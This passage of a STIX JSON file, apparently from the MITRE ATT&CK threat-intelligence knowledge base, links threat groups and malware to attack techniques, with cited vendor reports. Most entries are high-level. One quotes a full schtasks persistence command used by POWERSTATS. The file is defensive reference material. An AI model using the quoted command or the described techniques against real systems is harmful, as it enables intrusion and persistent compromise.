                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)",
            "id": "relationship--ad934b01-9c8c-42cd-8195-dc272c363208",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-06-30T22:44:28.217Z",
            "created": "2019-01-29T20:17:49.381Z"
        },
        {
            "id": "relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
            "type": "relationship",
            "modified": "2020-02-12T16:47:16.680Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) establishes a foothold by adding a link to the malware executable in the startup folder.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.857Z",
            "created": "2019-01-29T21:33:34.692Z"
        },
        {
            "id": "relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.449Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.892Z",
            "created": "2019-01-29T21:47:53.746Z"
        },
        {
            "id": "relationship--11ed82c1-88af-4c23-860e-185505389288",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T19:51:51.340Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious VBScript payloads on the victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--21117898-adc0-41c1-9e2e-2551e638ef71",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-19T17:44:44.733Z",
            "created": "2019-01-30T13:28:47.846Z"
        },
        {
            "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "source_name": "DOJ APT10 Dec 2018",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion",
                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)",
            "type": "relationship",
            "modified": "2020-12-17T15:58:17.124Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                },
                {
                    "source_name": "Anomali Evasive Maneuvers July 2015",
                    "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) uses port 80 for C2 communications.(Citation: PaloAlto DNS Requests May 2016)(Citation: Anomali Evasive Maneuvers July 2015)",
            "id": "relationship--6d492623-1e48-45d8-9062-9c9565bb3a8b",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.805Z",
            "created": "2019-01-30T14:00:49.735Z"
        },
        {
            "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) has commands to delete files and persistence mechanisms from the victim.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.793Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--43809fa9-dbe2-4429-875e-f0828563d6aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. [APT32](https://attack.mitre.org/groups/G0050) executed shellcode to identify the name of the infected host.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)(Citation: FireEye APT32 April 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                },
                {
                    "source_name": "FireEye APT32 April 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.572Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--a81c971e-732c-4e76-99ad-c7108642dd47",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.615Z",
            "created": "2019-01-30T15:27:06.685Z"
        },
        {
            "id": "relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use Windows admin shares to move laterally.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.447Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1cbf5583-626a-4a24-bc59-f3b973752cee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses rundll32.exe to load.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.444Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) attempts communication to the C2 server over HTTP on port 443.(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[CALENDAR](https://attack.mitre.org/software/S0025) has a command to run cmd.exe to execute commands.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--121d2e76-5ba1-475d-9cf9-1046724abae1",
            "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:08:38.069Z",
            "created": "2019-01-30T15:39:45.647Z"
        },
        {
            "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.624Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can act as a reverse proxy.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--a03d084b-c216-4962-93e8-6c0dc8f0cb91",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.723Z",
            "created": "2019-01-30T16:39:54.292Z"
        },
        {
            "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) allows adversaries to search for files.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.034Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                }
            ],
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command <code>\u201dC:\\Windows\\system32\\schtasks.exe\u201d /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR \u201cc:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe\u201d</code>.(Citation: ClearSky MuddyWater Nov 2018)",
            "id": "relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f",
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-16T16:04:07.121Z",
            "created": "2019-01-30T17:13:11.901Z"
        },
        {
            "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "type": "relationship",
            "modified": "2020-03-17T01:19:55.563Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
                    "source_name": "Kaspersky Darkhotel"
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) used embedded iframes on hotel login portals to redirect selected victims to download malware.(Citation: Kaspersky Darkhotel)",
            "id": "relationship--4f62c818-2129-4dc2-9f80-105412df4b1d",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2020-03-16T20:05:43.480Z",
            "created": "2019-01-30T17:43:28.259Z"
        },
        {
            "id": "relationship--42d4ae64-75da-4dfd-b23f-d270252115ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as \u201cNet Monitor.\"(Citation: Cymmetria Patchwork) They have also dropped [QuasarRAT](https://attack.mitre.org/software/S0262) binaries as files named microsoft_network.exe and crome.exe.(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "source_name": "Cymmetria Patchwork"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:39:28.535Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used HTTP for C2.(Citation: McAfee Night Dragon)",
            "id": "relationship--9f89d00f-fc0f-4dbb-9b54-3553821bf7ef",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:58:42.344Z",
            "created": "2019-01-30T18:02:59.294Z"
        },
        {
            "id": "relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Unit 42 RGDoor Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:27:44.187Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
